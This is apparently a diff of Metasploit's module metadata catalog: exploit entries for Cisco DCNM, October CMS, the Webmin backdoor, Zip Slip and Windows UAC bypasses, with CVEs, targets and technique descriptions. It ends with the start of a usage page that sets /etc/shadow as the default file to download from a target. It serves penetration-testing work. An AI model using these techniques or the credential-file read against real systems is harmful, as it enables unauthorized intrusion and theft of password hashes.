"Snyk",
|
||||
"sinn3r <sinn3r@metasploit.com>"
|
||||
],
|
||||
"description": "This is a generic arbitrary file overwrite technique, which typically results in remote\n command execution. This targets a simple yet widespread vulnerability that has been\n seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.\n The idea is that often archive extraction libraries have no mitigations against\n directory traversal attacks. If an application uses it, there is a risk when opening an\n archive that is maliciously modified, and result in the embedded payload to be written\n to an arbitrary location (such as a web root), and result in remote code execution.",
|
||||
"references": [
|
||||
"URL-https://snyk.io/research/zip-slip-vulnerability"
|
||||
],
|
||||
"platform": "Linux,Unix,Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Manually determined"
|
||||
],
|
||||
"mod_time": "2019-09-12 07:43:54 +0000",
|
||||
"path": "/modules/exploits/multi/fileformat/zip_slip.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/fileformat/zip_slip",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/ftp/pureftpd_bash_env_exec": {
|
||||
"name": "Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)",
|
||||
"fullname": "exploit/multi/ftp/pureftpd_bash_env_exec",
|
||||
@@ -66195,6 +66777,64 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/cisco_dcnm_upload_2019": {
|
||||
"name": "Cisco Data Center Network Manager Unauthenticated Remote Code Execution",
|
||||
"fullname": "exploit/multi/http/cisco_dcnm_upload_2019",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-06-26",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Pedro Ribeiro <pedrib@gmail.com>"
|
||||
],
|
||||
"description": "DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.\n An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps\n directory and achieve remote code execution as root.\n This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on\n versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct\n directory for the WAR file upload.\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\n (see References to understand why).",
|
||||
"references": [
|
||||
"CVE-2019-1619",
|
||||
"CVE-2019-1620",
|
||||
"CVE-2019-1622",
|
||||
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass",
|
||||
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex",
|
||||
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex",
|
||||
"URL-https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb",
|
||||
"URL-https://seclists.org/fulldisclosure/2019/Jul/7"
|
||||
],
|
||||
"platform": "Java",
|
||||
"arch": "java",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic",
|
||||
"Cisco DCNM 11.1(1)",
|
||||
"Cisco DCNM 11.0(1)",
|
||||
"Cisco DCNM 10.4(2)"
|
||||
],
|
||||
"mod_time": "2019-08-29 12:42:01 +0000",
|
||||
"path": "/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/cisco_dcnm_upload_2019",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/clipbucket_fileupload_exec": {
|
||||
"name": "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",
|
||||
"fullname": "exploit/multi/http/clipbucket_fileupload_exec",
|
||||
@@ -69971,6 +70611,58 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/october_upload_bypass_exec": {
|
||||
"name": "October CMS Upload Protection Bypass Code Execution",
|
||||
"fullname": "exploit/multi/http/october_upload_bypass_exec",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2017-04-25",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Anti Räis",
|
||||
"Touhid M.Shaikh <touhidshaikh22@gmail.com>",
|
||||
"SecureLayer7.net"
|
||||
],
|
||||
"description": "This module exploits an Authenticated user with permission to upload and manage media contents can\n upload various files on the server. Application prevents the user from\n uploading PHP code by checking the file extension. It uses black-list based\n approach, as seen in octobercms/vendor/october/rain/src/Filesystem/\n Definitions.php:blockedExtensions().\n This module was tested on October CMS version v1.0.412 on Ubuntu.",
|
||||
"references": [
|
||||
"EDB-41936",
|
||||
"URL-https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html",
|
||||
"CVE-2017-1000119"
|
||||
],
|
||||
"platform": "PHP",
|
||||
"arch": "php",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"October CMS v1.0.412"
|
||||
],
|
||||
"mod_time": "2019-09-06 09:49:09 +0000",
|
||||
"path": "/modules/exploits/multi/http/october_upload_bypass_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/october_upload_bypass_exec",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/op5_license": {
|
||||
"name": "OP5 license.php Remote Command Execution",
|
||||
"fullname": "exploit/multi/http/op5_license",
|
||||
@@ -72350,6 +73042,7 @@
|
||||
],
|
||||
"description": "This module exploits a php object instantiation vulnerability that can lead to RCE in\n Shopware. An authenticated backend user could exploit the vulnerability.\n\n The vulnerability exists in the createInstanceFromNamedArguments function, where the code\n insufficiently performs whitelist check which can be bypassed to trigger an object injection.\n\n An attacker can leverage this to deserialize an arbitrary payload and write a webshell to\n the target system, resulting in remote code execution.\n\n Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.",
|
||||
"references": [
|
||||
"CVE-2019-12799",
|
||||
"CVE-2017-18357",
|
||||
"URL-https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/"
|
||||
],
|
||||
@@ -72374,7 +73067,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2019-05-17 18:20:59 +0000",
|
||||
"mod_time": "2019-09-12 16:09:32 +0000",
|
||||
"path": "/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/shopware_createinstancefromnamedarguments_rce",
|
||||
@@ -82140,50 +82833,6 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/misc/qnx_qconn_exec": {
|
||||
"name": "QNX qconn Command Execution",
|
||||
"fullname": "exploit/unix/misc/qnx_qconn_exec",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2012-09-04",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"David Odell",
|
||||
"Mor!p3r",
|
||||
"bcoles <bcoles@gmail.com>"
|
||||
],
|
||||
"description": "This module uses the qconn daemon on QNX systems to gain a shell.\n\n The QNX qconn daemon does not require authentication and allows\n remote users to execute arbitrary operating system commands.\n\n This module has been tested successfully on QNX Neutrino 6.5.0 (x86)\n and 6.5.0 SP1 (x86).",
|
||||
"references": [
|
||||
"EDB-21520",
|
||||
"URL-https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos",
|
||||
"URL-http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html",
|
||||
"URL-http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 8000,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2019-01-10 19:19:14 +0000",
|
||||
"path": "/modules/exploits/unix/misc/qnx_qconn_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/misc/qnx_qconn_exec",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/misc/spamassassin_exec": {
|
||||
"name": "SpamAssassin spamd Remote Command Execution",
|
||||
"fullname": "exploit/unix/misc/spamassassin_exec",
|
||||
@@ -82309,48 +82958,6 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/polycom_hdx_auth_bypass": {
|
||||
"name": "Polycom Command Shell Authorization Bypass",
|
||||
"fullname": "exploit/unix/polycom_hdx_auth_bypass",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2013-01-18",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Paul Haas <Paul.Haas@Security-Assessment.com>",
|
||||
"h00die <mike@shorebreaksecurity.com>"
|
||||
],
|
||||
"description": "The login component of the Polycom Command Shell on Polycom HDX\n video endpoints, running software versions 3.0.5 and earlier,\n is vulnerable to an authorization bypass when simultaneous\n connections are made to the service, allowing remote network\n attackers to gain access to a sandboxed telnet prompt without\n authentication. Versions prior to 3.0.4 contain OS command\n injection in the ping command which can be used to execute\n arbitrary commands as root.",
|
||||
"references": [
|
||||
"URL-http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf",
|
||||
"URL-http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html",
|
||||
"EDB-24494"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 23,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Universal"
|
||||
],
|
||||
"mod_time": "2018-11-04 06:14:26 +0000",
|
||||
"path": "/modules/exploits/unix/polycom_hdx_auth_bypass.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/polycom_hdx_auth_bypass",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/smtp/clamav_milter_blackhole": {
|
||||
"name": "ClamAV Milter Blackhole-Mode Remote Code Execution",
|
||||
"fullname": "exploit/unix/smtp/clamav_milter_blackhole",
|
||||
@@ -87807,6 +88414,70 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/webapp/webmin_backdoor": {
|
||||
"name": "Webmin password_change.cgi Backdoor",
|
||||
"fullname": "exploit/unix/webapp/webmin_backdoor",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-08-10",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"AkkuS",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits a backdoor in Webmin versions 1.890 through 1.920.\n Only the SourceForge downloads were backdoored, but they are listed as\n official downloads on the project's site.\n\n Unknown attacker(s) inserted Perl qx statements into the build server's\n source code on two separate occasions: once in April 2018, introducing\n the backdoor in the 1.890 release, and in July 2018, reintroducing the\n backdoor in releases 1.900 through 1.920.\n\n Only version 1.890 is exploitable in the default install. Later affected\n versions require the expired password changing feature to be enabled.",
|
||||
"references": [
|
||||
"CVE-2019-15107",
|
||||
"URL-http://www.webmin.com/exploit.html",
|
||||
"URL-https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html",
|
||||
"URL-https://blog.firosolutions.com/exploits/webmin/",
|
||||
"URL-https://github.com/webmin/webmin/issues/947"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 10000,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic (Unix In-Memory)",
|
||||
"Automatic (Linux Dropper)"
|
||||
],
|
||||
"mod_time": "2019-08-21 17:42:54 +0000",
|
||||
"path": "/modules/exploits/unix/webapp/webmin_backdoor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/webapp/webmin_backdoor",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/webapp/webmin_show_cgi_exec": {
|
||||
"name": "Webmin /file/show.cgi Remote Command Execution",
|
||||
"fullname": "exploit/unix/webapp/webmin_show_cgi_exec",
|
||||
@@ -124173,7 +124844,8 @@
|
||||
],
|
||||
"description": "This module will bypass Windows UAC by hijacking a special key in the Registry under\n the current user hive, and inserting a custom command that will get invoked when\n the Windows Event Viewer is launched. It will spawn a second shell that has the UAC\n flag turned off.\n\n This module modifies a registry key, but cleans up the key once the payload has\n been invoked.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting your\n payload in a separate process.",
|
||||
"references": [
|
||||
|
||||
"URL-https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
|
||||
"URL-https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -124188,7 +124860,7 @@
|
||||
"Windows x86",
|
||||
"Windows x64"
|
||||
],
|
||||
"mod_time": "2018-10-31 16:31:52 +0000",
|
||||
"mod_time": "2019-09-08 00:42:21 +0000",
|
||||
"path": "/modules/exploits/windows/local/bypassuac_eventvwr.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/bypassuac_eventvwr",
|
||||
@@ -124214,7 +124886,9 @@
|
||||
],
|
||||
"description": "This module will bypass Windows 10 UAC by hijacking a special key in the Registry under\n the current user hive, and inserting a custom command that will get invoked when\n the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC\n flag turned off.\n\n This module modifies a registry key, but cleans up the key once the payload has\n been invoked.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting your\n payload in a separate process.",
|
||||
"references": [
|
||||
|
||||
"URL-https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/",
|
||||
"URL-https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1",
|
||||
"URL-https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -124229,7 +124903,7 @@
|
||||
"Windows x86",
|
||||
"Windows x64"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-09-08 00:42:21 +0000",
|
||||
"path": "/modules/exploits/windows/local/bypassuac_fodhelper.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/bypassuac_fodhelper",
|
||||
@@ -124259,7 +124933,8 @@
|
||||
],
|
||||
"description": "This module will bypass Windows UAC by utilizing the trusted publisher\n certificate through process injection. It will spawn a second shell that\n has the UAC flag turned off. This module uses the Reflective DLL Injection\n technique to drop only the DLL payload binary instead of three separate\n binaries in the standard technique. However, it requires the correct\n architecture to be selected, (use x64 for SYSWOW64 systems also).\n If specifying EXE::Custom your DLL should call ExitProcess() after starting\n your payload in a separate process.",
|
||||
"references": [
|
||||
|
||||
"URL-http://www.trustedsec.com/december-2010/bypass-windows-uac/",
|
||||
"URL-http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -124274,7 +124949,7 @@
|
||||
"Windows x86",
|
||||
"Windows x64"
|
||||
],
|
||||
"mod_time": "2017-09-13 22:03:34 +0000",
|
||||
"mod_time": "2019-09-08 00:42:21 +0000",
|
||||
"path": "/modules/exploits/windows/local/bypassuac_injection.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/bypassuac_injection",
|
||||
@@ -124314,7 +124989,7 @@
|
||||
"Windows x86",
|
||||
"Windows x64"
|
||||
],
|
||||
"mod_time": "2019-08-15 18:10:44 +0000",
|
||||
"mod_time": "2019-09-08 00:42:21 +0000",
|
||||
"path": "/modules/exploits/windows/local/bypassuac_injection_winsxs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/bypassuac_injection_winsxs",
|
||||
@@ -124386,7 +125061,8 @@
|
||||
],
|
||||
"description": "This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under\n the Current User hive, and inserting a custom command that will get invoked when any binary\n (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable\n to file handler hijacking. When we run slui.exe with changed Registry key\n (HKCU:\\Software\\Classes\\exefile\\shell\\open\\command), it will run our custom command as Admin\n instead of slui.exe.\n\n The module modifies the registry in order for this exploit to work. The modification is\n reverted once the exploitation attempt has finished.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting the\n payload in a different process.",
|
||||
"references": [
|
||||
|
||||
"URL-https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation",
|
||||
"URL-https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -124401,7 +125077,7 @@
|
||||
"Windows x86",
|
||||
"Windows x64"
|
||||
],
|
||||
"mod_time": "2019-06-26 14:25:32 +0000",
|
||||
"mod_time": "2019-09-08 00:42:21 +0000",
|
||||
"path": "/modules/exploits/windows/local/bypassuac_sluihijack.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/bypassuac_sluihijack",
|
||||
@@ -124427,7 +125103,8 @@
|
||||
],
|
||||
"description": "This module will bypass Windows UAC by utilizing the missing .manifest on the script host\n cscript/wscript.exe binaries.",
|
||||
"references": [
|
||||
|
||||
"URL-http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html",
|
||||
"URL-https://github.com/Vozzie/uacscript"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -124441,7 +125118,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-09-08 00:42:21 +0000",
|
||||
"path": "/modules/exploits/windows/local/bypassuac_vbs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/bypassuac_vbs",
|
||||
@@ -124452,6 +125129,100 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/local/bypassuac_windows_store_filesys": {
|
||||
"name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)",
|
||||
"fullname": "exploit/windows/local/bypassuac_windows_store_filesys",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2019-08-22",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"ACTIVELabs",
|
||||
"sailay1996",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool\n is run with the \"autoElevate\" property set to true, however it can be moved to\n a new Windows directory containing a space (C:\\Windows \\System32\\) where, upon\n execution, it will load our payload dll (propsys.dll).",
|
||||
"references": [
|
||||
"URL-https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html",
|
||||
"URL-https://github.com/sailay1996/UAC_bypass_windows_store",
|
||||
"URL-https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2019-09-06 00:52:13 +0000",
|
||||
"path": "/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/bypassuac_windows_store_filesys",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/local/bypassuac_windows_store_reg": {
|
||||
"name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry",
|
||||
"fullname": "exploit/windows/local/bypassuac_windows_store_reg",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2019-02-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"ACTIVELabs",
|
||||
"sailay1996",
|
||||
"bwatters-r7"
|
||||
],
|
||||
"description": "This module exploits a flaw in the WSReset.exe file associated with the Windows\n Store. This binary has autoelevate privs, and it will run a binary file\n contained in a low-privilege registry location. By placing a link to\n the binary in the registry location, WSReset.exe will launch the binary as\n a privileged user.",
|
||||
"references": [
|
||||
"URL-https://www.activecyber.us/activelabs/windows-uac-bypass",
|
||||
"URL-https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html",
|
||||
"URL-https://github.com/sailay1996/UAC_bypass_windows_store"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2019-09-06 02:11:06 +0000",
|
||||
"path": "/modules/exploits/windows/local/bypassuac_windows_store_reg.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/bypassuac_windows_store_reg",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/local/capcom_sys_exec": {
|
||||
"name": "Windows Capcom.sys Kernel Execution Exploit (x64 only)",
|
||||
"fullname": "exploit/windows/local/capcom_sys_exec",
|
||||
@@ -144994,7 +145765,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-05-05 16:30:19 +0000",
|
||||
"mod_time": "2019-09-04 16:06:44 +0000",
|
||||
"path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter/reverse_tcp",
|
||||
@@ -145132,7 +145903,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-07-29 11:55:51 +0000",
|
||||
"mod_time": "2019-09-03 09:14:34 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/pingback_bind_tcp",
|
||||
@@ -145232,7 +146003,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-05-05 16:30:19 +0000",
|
||||
"mod_time": "2019-09-04 16:06:44 +0000",
|
||||
"path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/shell/reverse_tcp",
|
||||
@@ -148643,7 +149414,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-10-22 18:20:45 +0000",
|
||||
"mod_time": "2019-09-03 18:25:26 +0000",
|
||||
"path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/meterpreter_reverse_tcp",
|
||||
@@ -151924,7 +152695,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-02-11 18:56:50 +0000",
|
||||
"mod_time": "2019-09-03 18:25:26 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_bind_named_pipe",
|
||||
@@ -151959,7 +152730,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-11-21 13:53:33 +0000",
|
||||
"mod_time": "2019-09-03 18:25:26 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_bind_tcp",
|
||||
@@ -151994,7 +152765,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-11-21 13:53:33 +0000",
|
||||
"mod_time": "2019-09-03 18:25:26 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_reverse_http",
|
||||
@@ -152029,7 +152800,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-11-21 13:53:33 +0000",
|
||||
"mod_time": "2019-09-03 18:25:26 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_reverse_https",
|
||||
@@ -152064,7 +152835,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-11-21 13:53:33 +0000",
|
||||
"mod_time": "2019-09-03 18:25:26 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_reverse_ipv6_tcp",
|
||||
@@ -152099,7 +152870,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-11-21 13:53:33 +0000",
|
||||
"mod_time": "2019-09-03 18:25:26 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_reverse_tcp",
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
## Intro
|
||||
|
||||
Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
|
||||
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
|
||||
the full path of the file (aka CVE-2019-1621).
|
||||
|
||||
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
|
||||
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
|
||||
(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication.
|
||||
|
||||
|
||||
## Author and discoverer
|
||||
|
||||
Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
|
||||
|
||||
|
||||
## References
|
||||
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
|
||||
https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb
|
||||
https://seclists.org/fulldisclosure/2019/Jul/7
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy!
|
||||
|
||||
```
|
||||
msf5 exploit(multi/http/cisco_dcnm_upload_2019) > use auxiliary/admin/cisco/cisco_dcnm_download
|
||||
|
||||
